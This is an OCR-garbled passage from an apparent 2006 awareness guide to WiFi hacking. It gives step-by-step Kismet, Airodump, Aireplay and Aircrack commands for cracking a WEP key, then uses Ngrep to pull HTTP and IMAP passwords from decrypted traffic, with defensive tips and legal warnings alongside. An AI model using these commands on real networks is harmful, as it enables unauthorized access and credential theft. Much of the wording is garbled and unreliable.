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Part One - Preamble

Introduction

So what is this document all about ? It is aboutkhey. It is about showing you howasily a
non-protecteccomputer infrastructure - network, hosts and ses/ may be penetrated and access to its
resources be fully granted — to the hacker — oredlen to the legitimate users.

With the advent of the Internet, the open sourakthre free exchange of information, the best as agel
the worse has been made possible. Unfortunatelppumcasehacking has been made far too easy
compared to the damage it can leadAdl that is required may easily be found on theeinet.

In order to give non-technical users a good feetihgow easy it is for those who are determinetaok
into a computer or network, this document will oough some practical amdalistic hacking examples,
step-by-step and with extensive explanations. Nafnis top-secret. None of it is top-notch computing
None of it requires great technical skills to s#rteAs | already said, all the information requiisd
readily accessible on the Internet.

Who is this document addressed to ? All those wiilb veonder why so much fuss is made about
computer and network security, and why they shaldtinitely care about it, be it at home or in the
office.

What should you do after reading this document A,Wethe case of someone whose assets definitely
need to be protected, call a specialist ! To sttt ? Secure your wireless network properly. Useuse
protocols whenever possible. Keep your passworda safe place. Do not open attachments unless
absolutely trusted. Do not give information aboatryinfrastructure to anyone, unless this persa ha
beenexplicitly “cleared” to obtain such information.

Prerequisite

As | said, the objective of this document is tovshHwmow some particular hacking methods are actually
performed. Non-technical persons may not undersaéiraf it. But they will definitely get the feelgthat
it is notthatdifficult for any standardly-trained computer techan.

Now, what if you want to actually reproduce therapé&es shown in here ? Well, though every step and
command is given, you may — and ywill — encounter problems. First of all, though readihilable on

the Internet, many tools (software) will need tocbenpiled from source, since available only as fseu
tarballs”; there will be problems during the comagibn, such as a missing header here, a deprecated
constant there, etc. Any technician used to thentienvironment and having some C/C++ knowledge
will nonetheless be able to fix these problems. tb@ other hand, some tools may require some
parameters to be adjusted according to the aatfralsiructure being hacked. The examples given here
are realisticstandardexamples, that would work in manyfar too many— cases. Nonetheless, and
hopefully, more and more infrastructure will be(@mmmune to the methods described here.

WARNING ! Last but not least... Remember hacking into somigletse's infrastructure is illegal ! So, if
you want to convince yourself that the examplesnshbere actually work, do it on your own (test)
infrastructure !

Why hack ?

Because of the money that can be made out ofdttlan growing importance of hacking as a mean used
by criminal organizations to make some profit. Sgonefit ? Well, as of today, the overall amount of
money earned by those organizations through haskodd be greater than what they earn with the drug
business. And timeill make it worse.

But why hackyou, a mere individual with no money on its bank actdaar a small company with nothing
to hide ? Because though you possess very littdtiptying this very little by very many victimdoes
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make a very profitable amount of money. Or becaussomehow consider worse— you may serve as
an unknowing participating collaborator to a feldrging performed througyour infrastructure. Be it for
gaining anonymous access to the Internet througin poorly secured wireless network, or through a
Trojan Horse installed on your computer and prognach to launch a Distributed Denial of Service
(DDoS) attack on the “big fish}{;oumay become an (unknowing) actor of a felony b@egormed, and
may be hold partly responsible for it under cerjansdictions.

On the other hand, with hacking into a non-proaidrastructure being so easy for common computer
technicians, who knows why and who may becomeasted in causing you prejudices through it ?

Hardware

In order to reproduce the examples given in thisudwent — or for any hacker to perform his deedse- o
will just need astandardcomputer. Nonetheless, since many hacks shownrbbravireless networks,
you are better off with a portable computer. Alsoyce some hacking methods require heavy CPU-
intensive tasks to run, you are better of withst faocessor and lot of memory.

On the other, you will need a WiFi adapter thagupported on Linux (available drivers) and, ideathat
allows what is called “packet injection”. Packejeition is the method by whiciny data (packet) may
be “injected” in the wireless networkjthoutgoing through the WiFi protocol stack (and inhérm@mecks
and verifications). This will prove very handy iorse situations, as we will see.

Table 1: Hardware used

Equipment Brand / Model / Version
Computer HP nx8220 notebook
Processor (CPU) Intel Centrino M 2.0GHz
Memory (RAM) 1GB (2x512MB)

WiFi adapter Linksys WUSGB54G v.4

Software

First of all, you will need Linux. Why Linux ? Begse its open source nature has drawn many people to
develop tools to match any need that has provefulusee time or the other, for one purpose or ttieeo

And a lot of tools are available to help our hagikpurposes. Some are not inherently devoted toifgck

A network monitoring tool and protocol analyzer,ilshreally handy for the hacker, is beforehand iy ve
useful tool for network developers or administrato6ome are on the other hand totally devoted to
hacking purposes, developed by script-kiddies wlamted to have fun or top-notch researchers who
needed to demonstrate one theory or the other.

The table on the next page will list all softwasekages and tools that were used to perform theusa
hacking methods performed in this document. Thedikability” column indicates how each package or
tool was obtained: “Distribution” indicates a pagk#ool that is a standard installable elementhef t
Linux distribution being used — in our case, Feddoae 5 — while “Source code” indicates a packagé/t
which source code must be downloaded from the neteand compiled (build), sometimes after some
debugging/fixing.

Technical fundamentals

In order to give technicians a better understandinghat is being done, or to give non-technicalders

a feeling of what level of knowledge is requiredorform a given task, | will try to explain whygaven
hack is possible, how it could be modified to matoime other situations, and how one coukheuld—

act to prevent it from succeeding. Those explanatiill not be exhaustive. On the other hand, tnay
appear simplistic or inadequate to some reademneR®er, the objective here is to demonstrate how
easily hacking may be performed, and why one shdefthitely take care of securing its infrastruetsir
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properly. Not to teach yohowto actually secure your infrastructures. Many hygsbecialized books,
courses and people are available to do so, thhpmVvide you far more information and knowledgatth
I'm able to give you.

Difficulties

The difficulty of each hack and counter-hack (ten has been evaluated, according to the level of
technical expertise needed and the likelihood pleerncing problems which may require some tuning.
In the case of counter-hacks, the (technical) adhtnative burden that may be implied will also bken

into account. Four denominations will be used:

“Piece-of-caké: No special requirements. Just follow the guide.

“Fairly easy : “Apprentice technician” requirementSomeproblems may occuSometuning
may be needed.

“Technical' : “Trained technician” requirementd$zew or annoying problems may or will
occur.Fewor recommendetlning may or will be needed.

“Nightmare’ . “Expert” requirements.Many or severe problems will occur. Alot or
complicateduning will be needed.
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Table 2: Software tools and packages

Tool / Package

Description

Identify

Signature

Availaliy

On the Internet

Fedora Core 5

RedHat-sponsored Linux distribution

uname -r

2.6.16-1.2111 FC5

Distribution

http://fedora.redhatac

Rt2570

Linksys WUSB54Gv4 driver

dmesg | fgrep

RT25usb Driver version 1.0.0

Source code

http://rt2x00.serialmonkey.com

RT25usb (CVS 2006051711)

Aircrack WiFi cracking aircrack-ng Aircrack-ng 0.5 - (C) 2006 Thomas d'Otreppe | Source code http://www.aircrack-ng.org

(package) Original work: Christophe Devine

DSniff Spoofing and Man-in-the-Middle attaksarpspoof Version: 2.3 Source code http://www.monkey.org/~dugsong/
dsniff

Ethereal Network monitoring ethereal -v ethereal 0.99.0 Distribution http://mww.ethereal.com

Protocol analyzer

Fragrouter Network router fragrouter Version 1.6 Source code http://www.anzen.com/research/ni
dsbench/fragrouter.html

Kismet WiFi monitoring kismet -v Kismet 2006.04.R1 Source code http://lwww.kismetwselret

Nessus Security scanner nessus -v nessus (Nessus) 3.0.3 for Linux Distribution httpaiwnessus.org

Ngrep Network monitoring ngrep -V ngrep: V1.44, $Revision: 1.78 $ Distribution httpgtaep.sourceforge.net

Nmap Network profiling nmap -V Nmap version 4.03 Distribution http://www.insecurg/mmap

OpenSSL PKI certificates handling openssl version OpenSSL 0.9.8a 11 Oct 2005 Distribution http://mwvepssl.org

PHP Scripting language php -v PHP 5.1.2 (cli) (built: Jan 11 2006 16:40:00) Distition http://www.php.net

Snort Intrusion Detection System (IDS) snort -V Version 2.4.4 (Build 28) Distribution http://www.srtarg

Syslog-ng System logging and monitoring syslog-ng -V syslog-ng 1.6.11 Distribution http://www.balabit.com

7-Zip Compression utilities 7z -version 7-Zip 4.32 Copyright (c) 1999-2005 Igor Pavloy Distribution http://www.7-zip.org

2005-12-09




Part Two — WiFi Hacking

Introduction

In the following pages, we will walk through theufosteps — hacks — required to penetrate a wireless
network, protected with a 128-bit WEP key, andfsalifthe traffic flowing through it.

As of today, the methods described and resultsireatahere — on my own test infrastructure — would
unfortunately match what could be achieved inrdd world. My personal experience as well as many
survey conducted in many countries show tfleas than 10% of the existing wireless networks are
secured in such a way that they would not fall tohte hacks we will perform next What makes it even
more alarming is thbugequantity of active wireless networks nowadays. Digvalong a small avenue
close to the downtown of the little city | work inhave been able to count more than 100 activear&s

for less than a kilometer drive. 1 network every rh@ters. 90 networks prone to penetration. 90
infrastructures which data or Internet access ayeepto be exploited.
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Hack 1: WiFi monitoring (difficulty: piece-of-cake)

The first step to fulfill is to identify your targ@nd collect information about Kismet will allow you to
detect all wireless networks in range, whetherrtae hidden (“cloaked” SSID) or not, whether tlzeg
encrypted or not, and gather many useful infornma&ibout the network infrastructure and its users.

Kismet

Kismet is a wireless monitoring and sniffing tool. Somehit could also be used as a “poor-guy”
Wireless Intrusion Detection System (WIDS), sintenay be configured to warn you of suspicious
activities on your wireless infrastructure, suchiresone we will carry out in the next pages.

Kismet has become a very official software projecteehttp://www.kismetwireless.net under active
development as | write these lines. Most problembugs are quickly fixed, resulting in a stable and
reliable tool. On Fedora Core 5, building and ilisig Kismet required less than five minutes.

Configure Kismet

Once build and installed, we just need to modifg times in Kismet's configuration file, indicatimghich
WiFi adapter to use and where to save dump files.

Text 1: ConfiguréKismet

root@itching-hacker:~>
vim /etc/kismet/kismet.conf

vim:kismet.conf

<..>

source=rt2500,rausb0,WUSB54G
logtemplate=/var/kismet/data/%n-%d-%i.%l
<.>

Monitor with Kismet

Once configured, we may launch Kismet. Going thiotige different Kismet's detail screens (press’h’
obtain help), we will be able to gather useful miation about: the active wireless network in range
their configuration (network identifiers, statiohysical address, channel, encryption, IP addresseg,
etc.), their connected (associated) clients alottig tlveir configuration, etc.
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Text 2: Kismet network list

root@itching-hacker:~>
kismet

ismet:main screen

eeNetwork L|st-o(Aut0f|t) seccecccccccsccecscce|\fQe0ee
Name T W Ch Packts Flag s IP Range oo Ntwrks
< target-ssid > AY004 6 W 192.168.27.2 o 1o

s Pckets ¢

(1) 8 L]

s Cryptd

(1) 2 L]

o Weak *

(1) O L]

*s Noise *

(1) O L]

es Discrd ¢

(1) O L]

os Pkts/s ¢

oo O

s Elapsd ¢
eeececceccecccceccee()):(0]:13e

eeStatus
¢ Connected to Kismet server version 2006.04.R1 bu ild 20050815211952 on localhe
¢ Muting sound .

Text 3: Kismet network details

kismet:network details (press 'i')

esNetwork Listes(SSID)

« Name T W Ch Packts Flag s IP Range Size -

« esNetwork Details .

e+ Name : target-ssid oo

¢+ SSID : target-ssid oo
oo SSID Cloaking on/Closed Network oo

e+ Server : localhost:2501 oo

«+BSSID : 00:13:10:9B:50:1F oo

e+ Manuf : Unknown oo

e » Max Rate: 54.0 oo

e+ BSS Time: 1d8b7a188 oo

e First : Thu May 18 10:08:38 2006 oo

e+ Latest : Thu May 18 10:14:04 2006 oo

e« Clients: 2 oo

e+ Type :Access Point (infrastructure) oo

eeInfo : oo

e+ Channel : 4 oo
* * Privacy : Yes oo
e e Encrypt : WEP oo
« « Decryptd: No oo

e » Beacon :59395 (60.820480 sec) oo

. sececeseceee 500, (+) Downese ¢
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Text 4: Kismetlient list

kismet:client list (press 'c')
esNetwork Listes(SSID)

« Name T W Ch Packts Flag s IP Range Size o

« o«Client Listes(Autofit) .

«s TMAC Manuf  Data Crypt Si ze IP Range Sgn e

e+ F 00:13:10:9B:50:1F Linksys 1609 1609 10 9k 0.0.0.0 0 o

ee F 00:0F:66:86:32:C3 Linksys 216 216 47k 192.168.27.3 0 -
e+ F00:13:10:9B:50:1D Linksys 74 74 1 1k 192.168.27.1 0 -

Gathered information

In a matter of minutes, Kismet allows us to idgnatir target and gather useful information abaut fite
following table summarizes what information we hden able to obtain and which we will need as we
proceed to hack deeper into our target's infrasirac

Table 3: Gathered information (hack 1)

Information Value
Network ID (ESSID) target-ssid
Network ID (BSSID) 00:13:10:9B:50:1F

WiFi channel 4

“Security” WEP

TCP/IP range 192.168.27.0/24
Client (one among 00:0F:66:86:32:C3
other)

Easy game, huh ?!

Reference 1: Wireless = Insecure

Wireless (radio) communications are inherently ause, since the information being exchanged between
two radio points on a given frequency is accesdiblanyone tuned on the same frequency and able to
receive the radio signal. Radio broadcasting issthmplest example to illustrate this. In the cab®Vd-i
networks, the frequencies are standardized — betd@do 14 channels (depending on the countryen t
2.4GHz band — and the radio signal is easily rext#essince, in most cases, it is emitted in akations

and to a distance of up to several hundreds meters.
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Hack 2: WEP key cracking (difficulty: piece-of-cake to fairly easy)

Some wireless networks may be secured using tlvaltsd Wired Equivalent Privacy (WEP) encryption
and authorization mechanism. Is that the end ofglmme ? “Fortunately” no. WEP is very flawed,
cryptographically speaking, and may easily be adck esgasily!

We will now proceed to cracking our target's WER, ke order to decrypt the traffic flowing througs
wireless network or to be able to connect to it.

In order to do so, we will first need to gather ak& data flowing through the network — and we sile

that we can atrtificiallyforce the targeted wireless network to generate such dand then feed these
data to our WEP cracking tool. In most cases aneérnwip particular precautions are taken, this can be
achieved irdess than an hourIn other circumstances, though, thisiytake up to 4-6 hours, sometimes
even longer.

Aircrack

WEP cracking is made possible thanks to Mierack package and included tools. You may find it
ironic —1 find it ironic — but Aircrackis as official a project as Kismet — deip://www.aircrack-ng.org

It actually even got a renewed impulse latelytageint into its “next generation” flavor, as hisintainer
call it. So you thought cracking tools were haraktain, poorly supported/documented, and compiex t
use ? Wrong !

Capture “weak” data with Airodump

First, we need to capture “weak” data, the so-ddlili¢s”. We will now launchAirodump, a capture tool
well suited to capture those “weak” data, andtleam until we have gathered enough of it.

Text 5: Capture “weak” data with Airodump

root@itching-hacker:~>

ifconfig rausbO down # disable (reset) the WiFi ada pter

iwpriv rausb0 rfmontx 1 # prepare the adapter for p acket injection
airodump-ng  --ivs -w capture -c 4 rausbO0 # capture IVs on chan nel 4
airodump-ng

CH 4] Elapsed: 1 hour 12 mins ][ 2006-05-18 11:56

BSSID PWR Beacons #Data CH MB ENC ESSID
00:13:10:9B:50:1F -1 2986 461137 4 48 WEP

BSSID STATION PWR Packets Probes

root@itching-hacker:~>
Is -l

Is

-rw-r--r-- 1 root root 2779705 May 18 11:37 capture-01.ivs
-rw-r--r-- 1 root root 652 May 18 11:56 capture -01.txt

Generate “weak” data with Aireplay

But waiting for “weak” data to get captured — withhdorcing the wireless network to generate those —
may take long (several days, maybe weeks). “Fotélyiaagain, there is a way to force the wireless
network to generate the “weak” data we crave far.db so, we need to capture some helpful packets
flowing through the wireless network, and re-injgtmém in the “air”, causing the wireless network to
generate the “weak” data we nesaleral hundred times faster
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Aireplay is the tool we need to perform this trick. It walpture packets flowing through the wireless
network and offer them to you to chose from folinjection —replay — in the “air’. Note that not all
packets will do the trick and that you may needryoseveral packets before seeing the “# Data” toun
from Airodump suddenly augment at great speed. Ageaof thumb, useful packets are addressed to the
target network (BSSID), from an authorized (asdedpclient (Source MAC), and begin with a “0843”
hexadecimal value.

WARNING ! Injecting packets in the “air” is aactive measure and may be detected by security-aware
infrastructures !

Text 6: Generate “weak” data with Aireplay

root@itching-hacker:~>
aireplay-ng -b 00:13:10:9B:50:1F -2 raushO # capture and repla y packet

aireplay-ng
Read 13 packets...

Size: 204, FromDS: 1, ToDS: 1 (WEP)

BSSID = 00:13:10:9B:50:1F
Dest. MAC = 03:00:00:00:00:01
Source MAC = 00:0F:66:86:32:C3
0x0000: 0843 2c00 0013 109b 501f 0012 1771 29b3 .C,.....P....q ).
0x0010: 0300 0000 0001 2020 000f 6686 32¢c3 8655 ...... ..f.2..U
0x0020: 4c00 1c4f 267b bcaf 674a bbfc ccfO b6d4 L..O&{..gJ......
0x0030: 987d 7521 a895 3f24 7{3f 7ef4 55ca 1027 Jul.?$?~.U..
0x0040: 1bcl 8fb2 60e9 ea93 b47b dbe2 3181 9610 .......{.1...
0x0050: fodf cc74 10a6 f90e 29b6 38de b9f7 d29f ...t...).8.....
0x0060: c124 4247 d7ac cceb f930 fh8e 831 2cb4 .$BG.....0...1,.
0x0070: 7270 2103 317a 4098 08ba 7e15 6839 1524 rpl.1z@...~.h9.$
0x0080: eef7 5b70 1465 225e d3a0 82a8 ac35 946d ..[p.e".....5.m
0x0090: bbea 33fl 67e3 ac65 319d 563d 2faf 3b06 ..3.g..e1.V=/.;.
0x00a0: 869b 8e60 b4df 192a 872f bc3e 161f 220e ..."..*%/[>."
0x00b0: dd59 78b2 fdbe 7a26 b8f4 cad9 3034 8427 .YX...z&....04.
0x00c0: 3e5c¢ 4231 1bd5 184e 9f27 53d5 >\B1...N.'S.

Use this packet ? y

Saving chosen packet in replay_src-0518-115751.cap
You should also start airodump-ng to capture replie S.

Crack the WEP key with Aircrack

Once you have captured enough “weak” data — fro810B0Q to 2'000'000 to crack a 128-bit WEP key —
you may start the cracking process. When lucky will succeed iness than 5 secondgVhen not, it
may require several minutes, even more. Witsatly out of luck, you may need to play around with the
cracking parameters in order to get rid of a steddlfalse positive”, to raise the cracking “cleness”,

or to build a new set of “weak” data.
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Text 7: Crack the WEP key wigircrack

root@itching-hacker:~>
aicrack-ng  -a1-n 128 -b 00:13:10:9B:50:1F *.ivs # crack the WEP key

aircrack-ng

Aircrack-ng 0.5

[ 00:00:03 ] Tested 60631 keys (got 461137 IVs )

KB depth byte(vote)

0 0/ 1 BC(123)60( 9)86( 5)F9( 5 )FC( 3)01( 0)
1 0/ 1 DO( 85)48( 19)82( 19) 79( 18 )39( 11) 41( 9)
2 0/ 1 A2( 39) FB( 18)24( 15) 8E( 12 ) A4( 10) 67( 6)
3 0/ 1 A5(126)BF( 18)4B( 12) C4( 12 )23( 9)7C( 9)
4 0/ 3 AB( 27)F4( 15) FF( 15) 96( 13 ) 13( 12) 61( 12)
5 0/ 1 A6(186)60( 18) 4C( 12) 65( 12 ) 66( 12) 7C( 12)
6 0/ 1 FF( 45)B7( 15) 1A( 9)B6( 9 )B1( 6)AB( 5)
7 0/ 1 3C( 45)11( 19) 2F( 15) 36( 15 ) C3( 15) 40( 12)
8 0/ 5 4D( 24)42( 15)0B( 12) 1F( 12 ) CA( 12) 67( 9)
9 0/ 1 16( 36)4C( 15) D9( 15) E8( 15 ) FF( 15) 3F( 12)
10 0/ 1 0C(148) EA( 51) 2B( 21) 8A( 18 ) 2A( 15) C2( 15)
KEY FOUND! [ BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5 ]

Replay or nor replay

Fast WEP-cracking relies on the ability to replagful packets. But as you have been warned, tlas is
active measure that may expose you to detection. Thpgyer not replay ? It all depends whether you
think your target is able to detect you. “Fortuhdtein most casesno Wireless Intrusion Detection
System (WIDS) will be active and able to raise #t@m. Good enough. But then, injecting so many
packets at such a high rate will definitely cloglasiow the wireless network down, making any user
aware that something is not right (though, in nuzsges, they will blame it on that d... technologgt t
never works as it should). One compromise is toottle” down the packet injection rate, in order to
leave enough “breathing air” to the legitimate ficafwith the drawback of needing more time to gath
enough “weak” data. Aireplagllows you to do so. Your call !

Gathered information

At this stage, we have obtained a rather usefudepad information: the WEP key used to encrypt the
traffic and prevent outsiders to connect to theeless network.

Table 4: Gathered information (hack 2)

Information Value I
WEP key BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5 I

What is particularly alarming about this is thag¢ 8WEP security used by our target certainly gawee it
fortified sense of security, thus maybe makingiscdrd any other security measure thahbuldhave
put into placeThere is nothing worse than a false sense of sedwriespecially when crippled security
measures are unknowingly being used. yaoereally secured ?

Reference 2: Why WEP is flawed — a cryptographic in  sight

As WiFi became a standard — IEEE 802.11b/g — luohed a so-called Wired Equivalent Privacy (WEP)
security mechanism as a mean to keep illegitimasggsuout of the wireless network and to prevennthe
from eave dropping. Unfortunately — and don't agklrow that can be — WEP was from the start a very
crippled cryptographic system. It didn't take |dagits weaknesses to be identified... and expibite
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So, why is WEP so easily cracked ? In 128-bit WHBR, static encryption key used to secure the system
is a 128-bit string, build from the 104-bit key ypwvide — the WEP key — and a 24-bit Initializatio
Vector (IV) used to chain together the encryptedfitt stream. Nowadays, this short sentence would
suffice to raise the hair in the neck of any crgpéphy expert (either in horror or in expectation).

First of all, one should never — never ! - useaistkey into any cryptographically strong encrgpti
system ! Why is that so ? Because the possibditgrack an encryption system relies on the fadtdha
can gather enough encrypted data — data encrypitbdtive same key — to obtain mathematically or
statistically exploitable material to derive theception key, and/or to test the possibly corregyk In
other wordsa cryptographically strong system should generatenggotiate) a random dynamic (ever
changing) key based on your supplied (but concealedkey, negotiation that may (not necessarily)
expose the encryption key to attack but that tpkesefar less often than as if it were used to encrypt the
data. So designed, an encryption system will netatd enough useful material to crack it, and @ ap

the time it is cracked, the key will certainly haaleeady changed.

On the other hand, data shall never — never ! et@ypted using some other data that are readily
obtainable — unencrypted — along with it ! In th&W®case, the encryption key is built with your secr
WEP key and the so-called Initialization Vector XI\Which in turn is used unencrypted as part of the
encrypted data stream. That is far too much infeonavhen dealing with a cryptographic attack. As a
rule of thumb,a cryptographically strong system should never exme encrypted data along with
their (partially) unencrypted content. So designed, the encryption system will not didocaay-to-
useful information for a potential cryptographitaak.

As we saw during this hack, the first weakness adtyessed through our gathering enough “weak” data
from the traffic flowing in the wireless networkh@& second weakness is exploited by the Aircrack too
which “implements the standard FMS attack alondhwsime optimizations like KoreK attacks” (quoted
from the Aircrack website itself).

Tip 2: Properly secure your wireless network (difficulty: piece-of-cake)
So what do you do ? Discard wireless communicatemtsely ? Well...

As of today, the WiFi standard has evolved andnporates a new security mechanism known as Wi-Fi
Protected Access (WPA) — IEEE 802.11i — that adsi®she two weaknesses explained eaNledern
equipment supports WPA readily and you should defiitively switch to it if you haven't already
done so

Unfortunately, WPA is also prone to cracking, thbpugs of today, it is notealistically feasible,
especially if the WPA master-key is long enough &addom” enough. Unlike the WEP key, the WPA
master-key cannot be derived from the encryptezhsiritself, and is used to generate an ever-chgngin
encryption key. Cracking the WPA master-key invel@®-called “dictionary-based” attacks, where the
possibly correct key is built using random arrangets (and salt) of words taken from a supplied(irst
“dictionary”). Each key is then tested againsteéherypted data that have been captured, urtickily —
one is found to be able decrypt the test set. Wbas that mean ? It means that if your WPA mastgr-k
Is “mummy”, and “mummy” is contained in the “dictiary” used, it is most likely to get cracked. It
means thayour WPA master-key should be something long and caplex, apparently random, that
may not be derived from dictionary-based “salt-appa”. As a rule of thumb, use a key that does not
include merely words which can be derived from kimgwou or your company. As a known windsurf
addict, | would not use a WPA master-key spellednasnkeyjibe”. Adding the content automatically
captured from a windsurf-oriented website to theAMPacking “dictionary” would certainly allow the
cracking to succeed.

Now, knowing that WPA may — quitenrealisticallyas of today — be cracked, should you still use it ?
Well, so far, | have talked of the so-called WPA&hared Key (WPA-PSK) flavor, which involves a

static never-changing WPA master-key. Security-eomed infrastructures would more likely use WPA

with the Extensible Authentication Protocol (WPA-ERA which allows the WPA master-key itself to be

changed (re-negotiated) as the connection goes on.
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OK, here | may have been too alarmist in regardh tiereal world But, when it comes taery-high
security concerns, who knows ? For the reasonsamaul in the first hack — sdé®eference 1: Wireless =
Insecure— | personallywould not trust any wireless-based network if | were to bkl lesponsible — in a
company whose assetsally need to be secured — for the damage that may @#udif its penetration. It

is and will always be far too easy to eave-drophentraffic flowing in the “air”, and eventually twh the

one information that may compromise the entire edifie¢¢hat would |1 do then ? | would definitively
consider my wireless network asecure make it a part of the Internet instead of mydnéat, and use
Virtual Private Network (VPN) technology to allowe wireless users to get into my Intranet, as an
additional layer to my security “onion”.

The Itching Hacker Guide to the Galaxy page 17 May 2006



Hack 3: WiFi sniffing  (difficulty: piece-of-cake)

Now that we have identified our target's wirelessnork and cracked its WEP key, we are free tdf snif

the traffic flowing though it. Kismet once more pes handy, since all traffic — data — flowing thgbu

each detected wireless network is thorougtdpturedand saved in a file, using a standardized format,

that may easily be inspected afterwards.

Configure Kismet for sniffing

Before proceeding, let us tell Kismabout the WEP key we found in the previous seciiooyder to let

him decrypt the traffic for us.

Text 8: Configure Kismet for sniffing

root@itching-hacker:~>

vim /etc/kismet/kismet.conf

vim:kismet.conf

<..>
wepkey=00:13:10:9B:50:1F,BCDOA2A5ABA6FF3C4D160CECD5
<..>

Sniffing with Kismet

Now, let's launch Kismet again and let it run ia trackground, capturing wireless network traffic.

Text 9: WiFi sniffing with Kismet

root@itching-hacker:~>

kismet

kismet: data strings dump (press 'd’)

esNetwork Listes(SSID)
* Name

« ssData Strings Dump
 » Content-Length: 2
« + Via: 1.1 freesurfplus.sunrise.ch (sunrise TDC S

» » X-Cache: MISS from freesurfplus.sunrise.ch

« » Keep-Alive: timeout=15

« « Connection: Keep-Alive

e« HTTP/1.1 404 Not Found

 » Content-Type: text/html

e+ Date: Thu, 18 May 2006 14:25:56 GMT

« « Server: Internet Mail version 7.2.073

« » Transfer-Encoding: chunked

 » Connection: close

¢« <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//E
e ¢ <HTML><HEAD>

e ¢ <TITLE>404 Not Found</TITLE>

¢ ¢ </[HEAD><BODY>

e« <H1>Not Found</H1>

« » Requested URL not found on this server.

e « <ADDRESS>Internet Mail version 7.2.073 server a

¢+ </BODY></HTML>

T W Ch Packts Flag

s IP Range Size -
All .

witzerland AG/1.3.33) e«

N"> o0

t mail-fs.sunrise.ch</ADDRe
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Kismet will save the captured and decrypted traffic ouanp file that may be analyzed afterwards .

Text 10:Kismetdump file

root@itching-hacker:~>
cd /var/kismet/data; Is -I

Is

-rw-r--r-- 1 kismet kismet 612 May 18 15:17 Kisme t-May-18-2006-1.csv

-rw-r--r-- 1 kismet kismet 65536 May 18 15:21 Kismet-May-18-2006-1.dump

-rw-r--r-- 1 kismet kismet 0 May 18 15:12 Kisme t-May-18-2006-1.weak

-rw-r--r-- 1 kismet kismet 7440 May 18 15:17 Kisme t-May-18-2006-1.xml
Ethereal

Ethereal is certainly one of the most complete network rtmimg tool and protocol analyzer one could
dream of. It is in no-way a hacking-specific tontlas used by many developers and administratoas as
essential tool during their legitimate daily woks its website -http://www.ethereal.com- states, it is
certainly the “The world's most popular network toml analyzer”, resulting in a very complete and
greatly supported product, readily available agatallable package on most Linux distributions.

Configure Ethereal for sniffing

Ethereal will happily import dump files captured Bysmet, or monitor the traffic directly from the
wireless adapter. | would recommend to use Kisméaie a “live” feeling on what is going on — adlwe
as for locking the wireless channel, getting infatimn on a given wireless client, etc. — and ugeieal
in parallel to capture the traffairectly from the wireless adapter.

First, let us start Ethereahd let it know about the WEP key that must be ueediecrypt the captured
traffic.
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lllustration 1: Configure Ethereal for sniffing
GUI: Edit > Preferences > Protocols > IEEE 822.11

Sniffing with Ethereal

Unlike Kismet, Ethereal is an asynchronous toolanmeg you must launch and wait for the capture
process to be complete before you can analyzeoiitent (thus the previous recommendation to have
Kismet running in parallel, in order to see whdtgsing on”).

lllustration 2: Launch Ethereal capture

GUI: Capture > Interfaces > rausb0 > Prepare

Capture
Interface: |[rausb0 | = ]l
|P address: fesl:: 121/ fasl: /141

Capture packets in promiscuous mode

] Limit each packet to bytes

agapture Filter: |[|no filter (traffic being encrypted) | - ] |
Capture File(s) Display Options

File: [ ] 5 Browse.. [ Update list of packets in real tima

[ Use multiple files

[ Hide capture infa dialog

Name Resolution

R Cap . [} Enable MAC name resolution

L1 ... after [J Enable network name resolution
[ ... after

O ... after Enable transport name resolution
@'Help [ X Cancel H ﬁSIan l

Once you have enough data, you may stop the captocess and start searching for interesting useful
information about your target. Since the capturathdvill contain every single bit of data that theen
sent through the “air’, one must take advantageEtifereal's filtering abilities to get rid of the
“background noise” and search for the “good stuff”.
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Ngrep

Ethereal may prove a bit cumbersome to searchterasting bits and pieces. At this staggrep comes

very handy, allowingvery fast and flexiblesearching through the captured data, using Regular

Expressions (RegExp), the second-language of amypeter technician used to work in Unix-like

environments.

Once again, Ngrefs a pretty well supported tool, readily available an installable package on most

Linux distributions, or download-able directly frats official website -http://ngrep.sourceforge.net

Sniffing with Ngrep

Once a captured data file is available, obtaindaeeiwith Airodump, Kismet, Ethereal or Ngrep ifsel
the first step is to decrypt the traffic using thiecovered WEP key, thanks to tAedecap tool (part of

the Aircrack package).

Text 11: Decrypt the dump file with Airdecap

root@itching-hacker:~>

airdecap-ng -w BC:D0:A2:A5:AB:A6:FF:3C:4D:16:0C:EC:D5 encrypted.pcap
airdecap-ng
Total number of packets read 1594

Total number of WEP data packets 1529
Total number of WPA data packets 0
Number of plaintext data packets 0
Number of decrypted WEP packets 1529
Number of decrypted WPA packets 0

root@itching-hacker:~>

Is -I

Is

-rw-r--r-- 1 root root 469778 May 19 13:17 encrypted-dec.pcap
-FW------- 1 root root 755028 May 19 12:40 encrypt ed.pcap

Once the dump file has been decrypted, we can starching for interesting information, using Ngrep

itself.

Text 12: Using Ngrep

root@itching-hacker:~>

# scan web traffic for passwords (HTTP / TCP port 8 0)

ngrep -q - encrypted-dec.pcap “password=" tcp port 80

ngrep

<.>

T 2006/05/19 12:39:42.989161 192.168.27.32:1878 -> 194.158.229.17:80 [AP]
POST /mail/LoginDirect HTTP/1.1..Host: mta-fs-be- 03.sunrise.ch..User-Agent:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426
Firefox/1.5.0.3..Accept: text/xml,application/xm l,application/xhtml+xml,te
xt/html;g=0.9,text/plain;q=0.8,image/png,*/*;q=0. 5..Accept-Language: en-us,
en;q=0.5..Accept-Encoding: gzip,deflate..Accept-C harset: ISO-8859-1,utf-8;q
=0.7,%;0=0.7..Keep-Alive: 300..Connection: keep-a live..Referer: http://free
surfplus.sunrise.ch/index.cfm..Cookie: langpref=e n..Content-Type: applicati
on/x-www-form-urlencoded..Content-Length: 83.... userig=rrskkkkidikkkkxkkiik
Fhkkkkk & PAaSSWOrg=rrkkkkkx &timezone=-120&language=english

<..>
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root@itching-hacker:~>
# scan mail traffic for login data (IMAP / TCP port 143)
ngrep -q -| encrypted-dec.pcap “login” tcp port 143
ngrep
<...>
T 2006/05/19 12:40:03.690271 192.168.27.32:1895 -> 194.158.229.8:143 [AP]
1 login "xkkkkkkkkkokkkkkkakokokokok * .
<...>
And so on !

Gathered information

Thoroughly and patiently analyzing the traffic fiog through our target's wireless network — without
any risk of being detected since we just have Ipassively monitoring what has been passing through
the “air” — we gathecritical information allowing us to access most of our tdsgeata.

Table 5: Gathered information (hack 3)

Services / Data Information Compromised protocols

